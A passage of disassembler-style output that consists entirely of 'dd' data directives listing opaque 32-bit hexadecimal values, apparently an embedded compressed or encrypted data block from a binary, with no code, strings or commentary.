dd 0C142E81Eh, 29005EF5h, 220B99CCh, 0C07BA9BBh, 198F4150h
dd 0A2004991h, 510F3021h, 773433BCh, 0C6ED1B63h, 1DC0286Eh
dd 0D57AA560h, 89176905h, 0AB00968Dh, 80BE8A40h, 299500B2h
dd 8F88EDF1h, 9A00784Fh, 0DEA19D69h, 38AC1AE7h, 9581F88Bh
dd 0BC504366h, 0D1FEFC34h, 291F370Fh, 8A6C4036h, 3027AA7h
dd 0FA5C7B14h, 0D0FFBE53h, 0FBF17C17h, 392F8B00h, 0A98533C5h
dd 494B023Bh, 2A3DEC2Bh, 3F4816E0h, 55E6681Fh, 69DC1801h
dd 10806B6Dh, 0C5AF59D0h, 9A76ED41h, 0C887DF00h, 82777015h
dd 0B862F8F7h, 3D477AF6h, 0B28FF0A8h, 88C0CDBCh, 64C53FCh
dd 73E70E00h, 0DD34C4A7h, 3061001Dh, 0C76F8D02h, 660197A9h
dd 7AE8FEBEh, 0FDD827A0h, 7A25902Eh, 0F1DB0336h, 0A5E760CEh
dd 8BDD8609h, 0C159005Ch, 70570E2h, 16FE5D8Eh, 6F763089h
dd 0DB0125B8h, 670D4B3Ch, 9FEB99C4h, 0AC34F5B0h, 9907610h
dd 8F9D1E18h, 924B6682h, 0CC49880h, 3500AF20h, 0CD68B48Ch
dd 0B1C6357h, 4B23FAB1h, 834D8900h, 46001314h, 5E3ED97Bh
dd 4F783Ch, 67E8F3F0h, 48C87309h, 5A61B000h, 94BDFA9Bh
dd 587500EDh, 2EAB7B3Bh, 0C0086C5h, 731E7C50h, 12DFA1ECh
dd 2057FAF5h, 495E866Ch, 2504027Bh, 3814CBA9h, 0B0E2AC80h
dd 1D360031h, 97F05029h, 2890C347h, 8148A603h, 0D82C8D78h
dd 8441E6h, 6DE4C501h, 58F762E8h, 0AB1B0400h, 0D1EAA289h
dd 0D260007Fh, 204022C6h, 5F0992CEh, 0D6A99Bh, 0DD310880h
dd 0BCB63F27h, 55233700h, 0A2FD7C90h, 5006D400h, 0E3A5186Eh
dd 0FF02001Fh, 0DF289F3Dh, 0D707FDD6h, 659DADA7h, 52E75560h
dd 0F8970346h, 0E00942FBh, 9EF70298h, 0E6735E00h, 1F0E516Fh
dd 0A06803D2h, 5C8074DEh, 4095A6E8h, 0C0FE23F2h, 2BCD4E00h
dd 0D2CA546Ch, 0B65F077Dh, 0CA46FC9Ch, 790580C4h, 0FFF58D36h
dd 77447000h, 0E5BCE3DDh, 4C250E82h, 3D807BEFh, 0B511EB2h
dd 0EB03147Eh, 1A34AE2Eh, 4E8CB8B0h, 5DD530A6h, 65D6BFB8h
dd 0C2EC6402h, 407D44B9h, 0FCEEDEE8h, 3BE1FF7h, 0E1AD8078h
dd 0BD79E084h, 2980B54h, 70604C33h, 4DB390DFh, 0D51F00F0h
dd 3E28D180h, 0B5005E61h, 363C9C10h, 0FC8A661Ah, 5D331D81h
dd 0B84540C4h, 0C6EE6D24h, 86BEBD00h, 10FF9CD2h, 43F485Dh
dd 604C2A2Bh, 10572A4Fh, 1E117600h, 293DEBE1h, 96490C7h
dd 7BCA7F7Eh, 90E43C80h, 85048AA9h, 383308D7h, 0E80F30C0h
dd 4A050056h, 0EF0D7FEEh, 26001753h, 2152F1E1h, 0EA6EFDAEh
dd 13F80948h, 0F40079A9h, 0D304A5BEh, 4F808100h, 6A642F45h
dd 0D0343DB1h, 9CBC4B00h, 8019F2BEh, 5378E200h, 0C9CA8779h
dd 785B601Ah, 0F560C8E8h, 3E94C503h, 0A6225EFEh, 826440F0h
dd 44E63A01h, 0DFBBB731h, 0E692B70h, 3EC133A2h, 0C9999F20h
dd 0A500A056h, 0AA26EC37h, 3B1DA98h, 73C4F27Fh, 4CC8BB34h
dd 5500242Bh, 0F682D4F0h, 142567Eh, 0D75B0E85h, 0C072C0D8h
dd 0B477963Dh, 0D3741F0Bh, 0E39B809Ah, 3BE0B566h, 0A5803FE6h
dd 0D5EF8512h, 5A004156h, 0AF480735h, 0E6601Fh, 8F83BD6Bh
dd 37BF2A62h, 54913A00h, 0D861248Eh, 6941FA0h, 954000F0h
dd 6C315230h, 95FE718h, 73CFD0h, 5AFAF6D8h, 88404FA6h
dd 4CBE60BFh, 0A230F90Eh, 49AF0EDh, 0ABEAC751h, 0E4FFC08Ah
dd 0E90149D6h, 0A80785B4h, 99E8FF86h, 0E37003AFh, 0AE73961Bh
dd 971311D0h, 0A7F70600h, 0F68AEAC8h, 521A0012h, 0ECEFC18Eh
dd 590326CFh, 33363EDBh, 953D86Eh, 275F00FAh, 0FEC06893h
dd 0CD00943Dh, 4A102D03h, 0E3204Bh, 0B9B26B99h, 9D31D1Eh
dd 531403EAh, 84432Fh, 38C4579Ch, 9033E1h, 16CF3261h, 9B3A493Fh
dd 0F60627EAh, 56C4DDECh, 0D8060094h, 29C7A2FEh, 46304068h
dd 0CCDA485Ch, 5FBA003Ah, 7320DC3Fh, 60009502h, 625D4BB4h
dd 30B22BE9h, 0F8C0DAD2h, 99B85418h, 0A50383F6h, 4615776Bh
dd 0A04DA8C5h, 0AA29C0D8h, 624E389Bh, 17F03FF6h, 0A400F698h
dd 0DA39255Bh, 0F6BCA46h, 3B4869AFh, 53EE7080h, 0E51E0D21h
dd 90E87825h, 0D2A2CA00h, 8242AE8Dh, 0FCA80346h, 2B8C37CFh
dd 0A6C2EBB8h, 14FB880Eh, 3D078412h, 969EF6C0h, 3E86E644h
dd 1800F287h, 8F592A1h, 2029A5Ah, 55C9FCB3h, 3BD3408Ch
dd 0F42500EFh, 0D24160EBh, 0DA172DB4h, 0DA00E4B9h, 23F7D07Dh
dd 0A3740Bh, 0F6A9465Eh, 3FA8CC0Dh, 80FFF839h, 17D2D1FDh
dd 3C76264h, 0E229E411h, 71AF09B5h, 0E049D0F6h, 79006DA4h
dd 0CE915DBh, 70832ACDh, 761A00F5h, 0F3888465h, 7E715157h
dd 0FCC99B00h, 0E611076Dh, 752A005Bh, 0FB3C387Ah, 0D700A540h
dd 15CD8FB7h, 76C1482h, 93A406A0h, 0E75C60DBh, 6A0087B1h
dd 0B4330BFFh, 0CD6138h, 78BA8F3Ah, 0B6F5276Fh, 2BA4B300h
dd 9026CC9h, 0A8AB0045h, 0F4408B83h, 0B01F223h, 0DB89EFAFh
dd 0E130B086h
dword_4D02F8 dd 3EE23A99h, 77117C80h, 9F9180F8h, 0DCC8CD00h, 0C3D5B266h
dd 247CE46Dh, 80784A30h, 0E981AFF9h, 62003A57h, 0C45B8B1Fh
dd 4148EAh, 0BAC1C0C2h, 826011C6h, 6D014890h, 9594E0FAh
dd 7C201F58h, 81C2CC27h, 39011251h, 69A4F88Dh, 3C302DB2h
dd 7F75001Dh, 5165FFFCh, 0C4008CECh, 6DD63AA0h, 613615h
dd 0FF236031h, 1384276Bh, 0D5C93300h, 0A0ABCDA7h, 0B171033Bh
dd 522B80F1h, 69423100h, 0CFBCBE56h, 2CEC0E88h, 0D0E34798h
dd 4000F7A1h, 3FA560D2h, 902E1C95h, 4D46C8h, 26761FB8h
dd 7C7387DAh, 2E4929Ah, 90E72091h, 0BCE10CAEh, 41E98207h
dd 4008BF05h, 2D07B7Ch, 0B465B47h, 6460FC75h, 230CD62Eh
dd 80C27286h, 0E038EE80h, 4C492CA1h, 524E1345h, 546A000Ch
dd 0D6B22C55h, 290060E4h, 20F5438Eh, 0F445DDh, 3EADF2DAh
dd 5E628BFAh, 0D6923100h, 0E94686FCh, 0DCEA1D01h, 2950B0D3h
dd 1818FACDh, 0F9A81DCBh, 0E69000A8h, 0EC4CE7DFh, 123C924Fh
dd 32D980EDh, 4B8B7498h, 1B0E8BDh, 446BC645h, 40DF0A83h
dd 765A21E0h, 209CD900h, 8743E2C5h, 9ED70006h, 8AED17D3h
dd 5B1993DBh, 2CB8B172h, 1998B430h, 0F8F3E67Ch, 0FB30603Eh
dd 0F80E32ECh, 9E52FA8Ch, 2EC74300h, 5882C5h, 0E66CA888h
dd 13809EB8h, 0CA117700h, 4A67A357h, 5972009Bh, 613165A5h
dd 0CD00F43Ah, 39AD34DFh, 8C1D0Eh, 889C5482h, 48B3600Ch
dd 7F7B84A0h, 91F0D407h, 43B0AA63h, 0F8AB3AB9h, 0FCD907B5h
dd 0C0716435h, 93745C86h, 1F90B40Ch, 0BAF6ACh, 80F3E423h
dd 0D58FA870h, 0AC74C039h, 8D043CEFh, 9F40B802h, 13EADEA1h
dd 1CE9E00h, 854B15C8h, 977700DFh, 0E924CB4Eh, 527986BCh
dd 0E8A5A126h, 3103F839h, 86D87F3h, 98660F2Fh, 63C00F3Fh
dd 5228AD18h, 98599A24h, 84002E16h, 7306DD4Ah, 5EE60ECBh
dd 49659821h, 83DC5CD3h, 20A12AA7h, 0AFED1800h, 0CDAB90D2h
dd 0BDEF0091h, 0E7C8E3BFh, 9C078482h, 0C139562Bh, 0B09AD260h
dd 24C37136h, 483520h, 7A777CA9h, 0F4FCB582h, 3065F113h
dd 14F63802h, 988BA0FEh, 0FB68696h, 3B62B364h, 72B508E0h
dd 0C1145257h, 1A5DEF4h, 0FCC527AFh, 0CBCCFE2Fh, 17E7052Dh
dd 0D118075Fh, 0E39E2BBBh, 1E84E800h, 5E7C25C8h, 0A091242Dh
dd 0D7E1001Dh, 52C64648h, 57E74700h, 8E36EF24h, 0C2C9001Ah
dd 73CA9A0Ah, 9E00879Fh, 888317EAh, 4C0B1Bh, 74443678h
dd 7A25CF56h, 0BE00C8E6h, 0FD2F0353h, 0FB25DFCh, 17EFC94Dh
dd 3D941861h, 0A8BC40FBh, 37C6541h, 0D20D681Ch, 814D6900h
dd 0B2E6BCh, 601CE912h, 26D588BDh, 74CF8607h, 3A80FB2Dh
dd 0D9C897h, 0F71CF637h, 5B6E20D8h, 7A815E00h, 1565E202h
dd 377F00C9h, 0E3C327B2h, 0B009F83h, 298EA49h, 53091Eh
dd 0D37768EEh, 0EF7CBEB1h, 651B2300h, 0D729238h, 1FE33942h
dd 0F3BDA201h, 60462C81h, 5B0071B9h, 5ACC6867h, 0AE858Bh
dd 7E2664C9h, 8FA69FDAh, 35CDEE00h, 0C1911ED1h, 0A9B1005Bh
dd 5C83FAB5h, 0E609C06Ch, 80986F66h, 0B89DF0D6h, 0BCDC5BB2h
dd 909E003Bh, 0F35E1217h, 0D4E618h, 0F90FCC40h, 0C70EBCEEh
dd 0E023AE07h, 0BA60772Bh, 71E3302h, 89F007A5h, 0B7E4C0ACh
dd 87E6F663h, 5E20BC60h, 8AD8E5h, 0D62FAB18h, 91E4F827h
dd 6BDCC300h, 3FAA3D6Eh, 47060760h, 60258EE9h, 4E5010F5h
dd 3640BB00h, 1329B052h, 0F26200E5h, 11677612h, 6E037786h
dd 7FB6C67Bh, 8A63F8A3h, 0D878009Bh, 0B44D9DF1h, 0F0079C9h
dd 95C1E2A4h, 77E307ACh, 998700D2h, 211B9BE8h, 751DC88Dh
dd 0ED002B0Ah, 6A2C5490h, 9618C029h, 0BB09B8B7h, 310BE500h
dd 0A01D3BE7h, 7945046Ch, 0C0323058h, 0D6AF1009h, 0C1DE7703h
dd 90AC6A59h, 56CB48h, 0CD8DE617h, 66A528D7h, 0BCE44701h
dd 29E30E5Eh, 310CC4h, 9826B755h, 0AC65B828h, 0C141C500h
dd 6F8A3FDCh, 0D89D00A9h, 0EC68A78Bh, 1C075125h, 5D811FA1h
dd 2C2ACA91h, 3341DC4h, 0A4A8DADDh, 1A98E558h, 1E00FA8Dh
dd 0D3725261h, 146E995h, 10B4FCD0h, 0ECA66EB2h, 5300917Dh
dd 18FD3979h, 3F749CF7h, 702A35D4h, 66FC00A4h, 23504C71h
dd 75073A9Ah, 0EFBA93F2h, 7F2EC2D0h, 67A70165h, 180937E0h
dd 0A1ED8F9h, 802A913Eh, 60959BF5h, 6622E2h, 8B56D66Eh
dd 0BEA7F17Fh, 4AAA8000h, 5DB4916Fh, 0A3A01FB8h, 8DA840E2h
dd 7BBACD14h, 77967A00h, 766E488h, 78FD6FFCh, 97038C80h
dd 0D707A6EAh, 0D8B1DA96h, 8FF4876Bh, 385B071h, 67FDA087h
dd 87393CD2h, 6E48BE07h, 5A474E88h, 41184906h, 0EEA3E389h
dd 9F01174h, 0A4F3D60Fh, 1E2F80C4h, 0CB7EE565h, 9A87A621h
dd 69E826FDh, 35401D08h, 6A003C46h, 57FA6F0h, 0ED76C304h
dd 443D20C8h, 6BCC0368h, 8747E2A2h, 0C1F1600Ch, 0A8835687h
dd 0CB78C928h, 8958AFE0h, 3AF1461Fh, 0A4C4DF5Ch, 9B8026C3h
dd 71822D05h, 0B3C3C8Bh, 919D4E89h, 0A2ED0780h, 0CE00306Ah
dd 35380FE9h, 1D73011Ch, 0C0B691AFh, 85EE1FD8h, 0D000085Bh
dd 0A3B4BD0Eh, 554CD5h, 0D6B94FAh, 917AF571h, 0BBB64A0Fh
dd 0ADFF4015h, 14F699D3h, 0E0E95F2Bh, 0BF30B000h, 1F52BC64h
dd 9B07547Bh, 0BB044F27h, 15084EA3h, 0A846609Eh, 0BF07C73Bh
dd 0C08F4750h, 0C506E928h, 36E2A805h, 0D840FADAh, 6BA91B0Eh
dd 48B60688h, 806B1C6h, 0F0211660h, 0BBA990h, 13C35E5Ch
dd 0BA24C745h, 687C58C0h, 142EFD31h, 0D48ACBCDh, 3A6FDC80h
dd 69068F19h, 816746DDh, 21F86008h, 1A3A7729h, 0FC44910Ch
dd 1A4798B2h, 58AF50C7h, 5E2CD428h, 0A400E046h, 66752D80h
dd 8C0C9E20h, 20BFAE3Bh, 6A7BFCh, 3D76EE68h, 0D1BBE480h
dd 6CA96E01h, 0C38EEDB6h, 3F2996h, 0E1847270h, 64170280h
dd 7A059C92h, 0A43EE80Ch, 813E0C23h, 448F404Ah, 4883D1B8h
dd 0B227D793h, 2FF0F860h, 0C0BBBF77h, 210D9110h, 6F00ED96h
dd 0FF9BC707h, 0B86FC40h, 5B99E62Ah, 0B442688Fh, 0CCE0267Eh
dd 20031EF8h, 520DFA69h, 0DB94B846h, 0A006005Ch, 0BF7E96F1h
dd 78002C7Fh, 0A548FFA8h, 1E32FA87h, 0C0BDB004h, 0F85890AEh
dd 0CF8867Ch, 8D13811Dh, 93951030h, 619CF79h, 7EA84521h
dd 1130835Dh, 0FE18E24h, 82C87170h, 88118B8h, 7341FF60h
dd 0C0980670h, 4587A618h, 8060CAC8h, 0D1C50510h, 23700E9h
dd 9DD6BB10h, 0C1003C63h, 89CAAAE5h, 1C6414D7h, 806C5476h
dd 0BFE1A33Ah, 1A0F3CD6h, 20B13430h, 372F0ABBh, 80F00367h
dd 0AB76CE87h, 0B506188h, 40094EEh, 18894B20h, 3B79DD24h
dd 0AE006A9Bh, 5D575F80h, 1C00D0C8h, 0F7BAFCC2h, 730AEBh
dd 0ED84D59Ah, 1D35B8AFh, 34519C00h, 6EF7CCACh, 0E13F0077h
dd 34CF9DDh, 0E60018D5h, 51D7CE62h, 1D18AA4h, 0B301A96Ah
dd 20766CA8h, 5A0080CFh, 0BEF67A32h, 5F7213h, 0C20BD333h
dd 905EE78Fh, 594C44EEh, 83E0047h, 416E91AEh, 0F0D57B21h
dd 0ED9000CEh, 6C4F401h, 267D79C7h, 8FA90B00h, 437E4845h
dd 1E0A074Ah, 0D0B14C47h, 53BA92EDh, 0A4FB3C00h, 15B0DDCBh
dd 208F4C65h, 12E76700h, 0CDF034A7h, 192EF500h, 4DCBEA51h
dd 655B003Eh, 544F8106h, 0A8005644h, 6BD027F5h, 0B0E6A12Eh
dd 0C16F0126h, 0FAC33173h, 9529E09Eh, 847CF500h, 7865AB16h
dd 7DA3001Eh, 0AC1F44DBh, 800026EAh, 0AD2FD882h, 6B3077Ch
dd 457832B6h, 0B4229A1h
dd 11E1CE11h, 2711B48Bh, 0C4C73E07h, 9FE54408h, 4444B544h
dd 28A05304h, 0C389E0DEh, 0BA941441h, 11B4CF11h, 5713E24Ah
dd 0B8915CD4h, 11973B11h, 5B21C98Ch, 91BCE708h, 64930037h
dd 2943145Bh, 0CAFD00F9h, 92D115B6h, 900B732h, 30FC42A7h
dd 0E8CF4D95h, 26BE000Ah, 0B90CADA2h, 45C9AEAh, 0C17E005Ah
dd 95F834D8h, 912C00BDh, 9A962DBBh, 3F003EE7h, 720B0431h
dd 0A3DB77h, 8909A697h, 0F8AAA935h, 0F2DC8800h, 489132BAh
dd 0D1E30F1Bh, 0D3133Bh, 5EB5049Ah, 0A70FDA66h, 0F4C89Ch
dd 0F99A6D86h, 7F720002h, 0F065A8F6h, 9603B0D0h, 2D135615h
dd 93600E8Fh, 24A4553Fh, 21E00BFh, 3E451D19h, 0C0735418h
dd 0FB166019h, 7BF01373h, 0FEA6DA00h, 0DF6F55E6h, 0C4A806E7h
dd 381A37C6h, 82A21601h, 0BACC73DCh, 3E1791E4h, 69804893h
dd 7D8B618Ch, 9B6B7BC4h, 6CDD01C8h, 6E0FF0h, 5AC38386h
dd 0DA003A45h, 0FCF48DA3h, 708056C5h, 0C78200BEh, 0BCDFD35Eh
dd 1907B30Fh, 798EECC1h, 674F6BD0h, 0FBDC0045h, 24E3488h
dd 9005FC5h, 0FF55ED50h, 0C3FCB7h, 0D4E9A676h, 49B10753h
dd 6C03ADE0h, 789535CCh, 0C0280354h, 0D24ADC76h, 7A801C3h
dd 0A3FAA4A6h, 0B4A98A00h, 0BD33C9F9h, 0BB6306D3h, 31EA2266h
dd 200313E4h, 0B7A89008h, 0A634E082h, 96400B8h, 8ADD5048h
dd 7101C47Ch, 0B66243E3h, 0E8C0F051h, 57D01CBh, 157FDBD2h
dd 702ED484h, 11DF4D00h, 0E53930EFh, 8D8B03B8h, 62BDB981h
dd 0D97FEE98h, 0F6987200h, 88BCA308h, 1E09023h, 0F597C657h
dd 0E0D5229Bh, 1D00743Fh, 8BC8487Ch, 0FA19A741h, 0F040A79h
dd 0D7AE53h, 0E7917CB8h, 0E5751546h, 80BBCF00h, 0B679E6C5h
dd 356A0069h, 6841CBF7h, 430EB886h, 0C00D9FD6h, 36FE1F65h
dd 0CDA0009Dh, 12B97C1Ah, 8C48ECD8h, 0D1D50034h, 0AD6D1F7Bh
dd 85881F65h, 0CB910753h, 34E81327h, 5A9E3000h, 2CB674D7h
dd 90631CDAh, 0F3158007h, 489DE9A0h, 8AF71700h, 0FC8E3ECCh
dd 45B1388Fh, 3D00FFBDh, 83EE729Ah, 0EF90FA27h, 42E76F09h
dd 0D25000F1h, 4FC486h, 8A7B544Dh, 751B7225h, 0FB003090h
dd 7F44401Eh, 0B2F5B1h, 0E19B069h, 9E46B13h, 30C7CC00h
dd 0E9C6A70Fh, 0B6390028h, 0B72D1464h, 5F1E0935h, 0D077CEBCh
dd 3F42C050h, 1347AB6h, 404C5A06h, 0DCDF1049h, 6567EC51h
dd 71F0FD28h, 3B57D9ADh, 6F004BD3h, 55B1A3F5h, 0E4004D24h
dd 8893D89Dh, 0FEDB00Ch, 0DD3390A4h, 35501660h, 0AB2ECF32h
dd 0E03077A5h, 0CC0FE5h, 90DF78DCh, 38C0BDB1h, 0DEE021Dh
dd 0C02CE04Fh, 0F5F6B869h, 0F01E63Ah, 1F0B1287h, 5923A0A0h
dd 0A500855Dh, 0AE7A7E02h, 7F6DAD50h, 0C7830118h, 0EE8003B6h
dd 3FE03A48h, 0C07F003Dh, 5DB0E9CFh, 0D11C81B9h, 0EA809488h
dd 1AD80DEFh, 5B7B002Ah, 0CD12974Eh, 2300A5FAh, 69D6F684h
dd 1C86575h, 0A695FC33h, 61CBC154h, 0F44C30E7h, 7A5CDC7Ah
dd 0D34E03E6h, 0F05AEA41h, 23F9BE5h, 64D9AC5Bh, 2C416B43h
dd 64C0FA84h, 0BF007DE1h, 4132DAC5h, 30A7F0h, 13B44A21h
dd 3DE8E704h, 0D866610Fh, 8FEFA145h, 6BFC8131h, 0AD8A0E25h
dd 0F6C09B4Dh, 24E9B688h, 9DFB21Fh, 80CC134Bh, 6A43C2B9h
dd 0FC3507F3h, 6E47FE96h, 6180A309h, 0AF6CBA5Bh, 0A876DA00h
dd 6F61830h, 8951132Dh, 1DA90034h, 0C7081AC4h, 0AF41D000h
dd 8794C5E5h, 1F48307Ah, 0D6171220h, 4B005D7Dh, 667F9878h
dd 26AAEFE4h, 5520F2h, 64BB800Fh, 0B914B7CBh, 15FCDA90h
dd 0F003F1h, 0A95574F3h, 91FCC4h, 44E521EAh, 0BC6DF018h
dd 6EE91200h, 673FDD2h, 981B0017h, 49752FB5h, 0E014179h
dd 44A2A67Ah, 0FC406CC1h, 0AAF37Fh, 0F4BA8403h, 24E87798h
dd 239EF02h, 60C565A3h, 48DF177Ch, 6F003F55h, 0FBAF6D44h
dd 8D00B408h, 69EBABDCh, 1CFABBh, 44E10D3Ah, 1E5589A0h
dd 0BE812807h, 5370B4BAh, 1FD0F93h, 1FB03017h, 7166ED4Eh
dd 7C5C30CBh, 0E53F03Ch, 63750B82h, 0E8A26D01h, 5423D0h
dd 100D56B7h, 0B8FA8EA4h, 0BD07ABF2h, 0C0FECCAAh, 0F7ED64F0h
dd 2A37559h, 0AC792753h, 9280BB46h, 4CB0E05Eh, 5BEF7500h
dd 0E348C658h, 60344DEBh, 4C9F907Bh, 0C02A46CDh, 0C82100B8h
dd 0D41595B2h, 50714FCh, 443FEB46h, 98AEDCB0h, 0E8DA39DEh
dd 9C20CC01h, 34090C7Bh, 2FE2ED9Ch, 6B602BF2h, 0FBF2F810h
dd 0EC190C9Bh, 2CF46991h, 3041B200h, 0D977AC63h, 0E7540FABh
dd 0FBC00AEDh, 2C6BE405h, 3D00EBE2h, 0E57DAA71h, 3B20ED4h
dd 98D168F4h, 36C87846h, 93004FF5h, 8D8333C7h, 1FABCEh
dd 0D27CDB67h, 54D6A468h, 2FC77F00h, 505CD003h, 0A6320E05h
dd 0E78038DAh, 2C3EEA7Ch, 1CC63A05h, 8000E428h, 2B195B09h
dd 0ACF24Fh, 3FFC60FDh, 0DD58A25Eh, 294B2C00h, 401DE4C5h
dd 0C49A01B6h, 0E3BC4FAAh, 7A77CCF1h, 89800116h, 0FA5F6001h
dd 34347867h, 0D22004B7h, 0C074F6DDh, 6A8ABDC0h, 76D94605h
dd 0B887F4DAh, 4F06DD7h, 9E4A24h, 64D32114h, 0B6C3CF10h
dd 20EFC0A3h, 48DB80B2h, 0BB8ED807h, 6423AA22h, 0EC1EF84Ah
dd 4DC9073Eh, 6047070Eh, 671B3A0Bh, 450013E8h, 0E020B9D4h
dd 60846846h, 56BB98B4h, 0C700C239h, 0E29A71FBh, 5A5FA64Bh
dd 1D6DFCDCh, 58C3C9F2h, 0F02D35D0h, 0E9DA79h, 4629777Bh
dd 0A0150C72h, 40FAC0B8h, 90CE439Fh, 9EA11Ah, 4C60722Eh
dd 0E6B0542h, 921D0D00h, 0E4347A61h, 0BCB01391h, 14E440A2h
dd 0FD2DE1BFh, 0D400F490h, 3F629FA0h, 264B3301h, 0C0C48C5Bh
dd 0EB8599B6h, 0BAA6AA50h, 472A7101h, 6D8A0D49h, 0ECE61487h
dd 0DB1B32C0h, 601DB441h, 5601D3E0h, 38511617h, 6F4CD6Bh
dd 0E490A9h, 0B6C0AA91h, 49B7DDF0h, 80555038h, 60196E12h
dd 3847A82Eh, 33009ECEh, 4C0BAC02h, 0F0079F9Dh, 0AEDDAF0Dh
dd 7BBE98E6h, 2D5A3929h, 5BD8C54h, 7EFA35DCh, 0BA6CD08Bh
dd 0DEFADDEFh, 68139h, 0F5AEB88Eh, 48AB96h, 37F38725h
dd 0FB5DE6B7h, 948547Dh, 5328019Fh, 3BFEDBBDh, 0EE2F8C41h
dd 5181B8F4h, 0A1FCA4A7h, 0DA420003h, 0FDDF47D6h, 7D00C031h
dd 0CCF6EE97h, 28F892B3h, 1987BE0h, 0F06E7495h, 22DC24E7h
dd 0D117774Ch, 0DC67653Dh, 0DDF1F2D0h, 7FDC5860h, 2A73500h
dd 40E9E4F5h, 0A4A83C00h, 0A51C174Eh, 0AB1F0385h, 0C90E5FECh
dd 912CB2F0h, 6DE60500h, 82FD227h, 0D7230081h, 4071BE43h
dd 0CF00EAB2h, 94AAB411h, 6002F86Ch, 9F23986Ah, 9000E30Bh
dd 5A0AA819h, 732FA26h, 0D827A522h, 1AF60B4h, 0BE037D25h
dd 0D7119BE1h, 681CB852h, 15EA005Dh, 108EEF8Ch, 0CB182469h
dd 0B90A842h, 4B264B32h, 4A8FF150h, 5FDB9FFh, 0AA724E61h
dd 0ABDC8028h, 9800D437h, 0BC2B13C5h, 1ED136h, 6F7BFA4Bh
dd 0B7FF7CDFh, 4AECAE00h, 74CDF9E7h, 1B0A003h, 22408907h
dd 1047C7FCh, 0A3D26540h, 2CF50F53h, 0C7F24199h, 0F45273A0h
dd 46F124F0h, 5803E624h, 73EC9200h, 0EAC2080h, 69CE525Fh
dd 91824AC0h, 4748061Eh, 0A71200DCh, 111C392Ah, 8CEC0432h
dd 0C1E5587Ah, 70EA1970h, 0BB00D494h, 0DF10CFDh, 5832EECEh
dd 0A03FA4E8h, 0AAB71200h, 55650650h, 2C9F9B12h, 0AA7E440h
dd 1781176h, 50FAD86h, 316BC8CCh, 22D0F824h, 58A80259h
dd 8D5D0044h, 0DD612E17h, 1ABE28E1h, 68624C80h, 0FE4F1400h
dd 1DD2C13Fh, 0A88918CAh
dd 0A0939Fh, 0E7D91EF6h, 0A9BF6BFCh, 0CA39C100h, 2C2A9311h
dd 1C090A1h, 50D10A3Fh, 0DC09BD38h, 0DD0AE390h, 0BC5FF3F5h
dd 0C7E6A800h, 608786F7h, 398D58B7h, 7234D395h, 0EC8120D2h
dd 0CC705150h, 0F1C03C60h, 7849BB3Eh, 0C47AB00h, 0A0ACD0A9h
dd 46C8759h, 0A499161h, 3AE99CC1h, 90D57DCh, 0F36B77D4h
dd 60F2CC07h, 9EF05DB0h, 0D0754D03h, 0F2C481ABh, 948CC02Fh
dd 0C5F4F9h, 0CC1E1CB5h, 15965DEFh, 995C3E00h, 0FA51FF7Eh
dd 0FF3735Bh, 0CC040C02h, 34A76ECEh, 2F5760C1h, 0D2501877h
dd 0B40EA6F8h, 0A0AC30D8h, 533E4944h, 19F5001Eh, 10633D58h
dd 5E487193h, 528A02B0h, 96BD23Ah, 0B55900C7h, 6C07441Ch
dd 6101365h, 0A053B6D3h, 0FCEDFA87h, 23A800DEh, 692DAF96h
dd 0E515AE11h, 29C8E13Ah, 5E83EC36h, 0A0FDF5DCh, 286D1905h
dd 78E8A8F0h, 538404B9h, 87603F5Fh, 0E0020924h, 0F080DD18h
dd 69F26A65h, 0F900C6F0h, 0F5C743D4h, 36B595Eh, 0D6D884FCh
dd 700055D5h, 7EAA74A2h, 0A0645B12h, 0F434F90h, 79244402h
dd 0D1995AECh, 0B3007DEEh, 492C50C3h, 6899E5h, 0ABDE0EE2h
dd 26652230h, 0C043F900h, 7131C2D0h, 48DA00AEh, 6C3B6774h
dd 280099DFh, 0C42D8876h, 0F6FAB22h, 0C013441Fh, 3D7151A0h
dd 0B2018E32h, 9EEB38EFh, 0D7D7F734h, 68C8CE60h, 5A6E48Ah
dd 0FCB8FD1h, 0F171C14Fh, 9D944010h, 0AC1D177Dh, 9E80FF5Bh
dd 59D1AEA1h, 0C30484Dh, 325CDA00h, 4B6F5E06h, 36AAA91Eh
dd 23C5B11Ch, 9C00DBA7h, 4A5E61Dh, 29B70E58h, 0BB401579h
dd 99E4866Ah, 0B4C4A80Eh, 0AC9E031Eh, 3F29A843h, 0C630009Ah
dd 0FEEB6864h, 4AE20C0Ah, 89F2363Dh, 806005E9h, 0DE9F3B14h
dd 0C708003h, 6FD41103h, 0F8970AE5h, 4B3207h, 52331510h
dd 5708B830h, 0E792FC00h, 0F01D5FE0h, 8677003Ah, 22C3DC6Bh
dd 5804A179h, 5AEB0527h, 489BCC0h, 0E3C88065h, 25041B49h
dd 0C5855DEDh, 4CA359h, 51F58E5Fh, 3975E5DBh, 0F7803BA5h
dd 88BCC33Ah, 3701F48Ch, 6B3DA377h, 3880B0EFh, 2034BCAh
dd 57FF6E6h, 130995A0h, 3D550B00h, 8ACF9BC5h, 244C398Dh
dd 0C3DFC606h, 0D02893Eh, 15E8A782h, 35F320B8h, 39043397h
dd 730F6FC3h, 82706480h, 9F03002Ah, 0C9EC6DB5h, 42063033h
dd 0A79BAF8Fh, 1B64802Ch, 801D000Fh, 19BB3806h, 6098F595h
dd 0D550D400h, 734C4589h, 747326h, 7F2A0262h, 7D9179DFh
dd 94B98A02h, 79B0421Bh, 2FB40778h, 56A40D9h, 0F801FDA0h
dd 0C9244AEAh, 0E3C3CE9Dh, 2A6FC86Eh, 7C7E3D5Ah, 0A0B47B00h
dd 0B3BEA722h, 0D8888B1Eh, 384DF200h, 17FC526h, 9C6FEF2Fh
dd 0C95BAB7Dh, 0A5973028h, 5406D900h, 0CB39329Eh, 57835h
dd 0EB671119h, 3C4A3E4Fh, 0C982D500h, 48E9DFD2h, 8C7C14E0h
dd 4B18A8DAh, 2116B97Ah, 6833C801h, 7C4C2019h, 0D001068h
dd 24F86D2Eh, 7724AADFh, 0C50052C8h, 0D9E1E2F3h, 576B075Dh
dd 679AC174h, 0B38EA2h, 7CA5D7F4h, 4100C486h, 85720428h
dd 9097CD78h, 0BE370BD3h, 30A01412h, 0EC068879h, 49B79F00h
dd 0A6C64ED8h, 40D41CD6h, 0B104C2C7h, 20686497h, 1A00D901h
dd 8A83ABBh, 1CFE6544h, 0D55F6Fh, 54B505CBh, 0A4489EC6h
dd 5A401168h, 408D011Eh, 29FA78BEh, 6402B610h, 0C48E3013h
dd 0B2C840AAh, 18217CB0h, 0F825A62Ch, 1C005F32h, 0C6B50714h
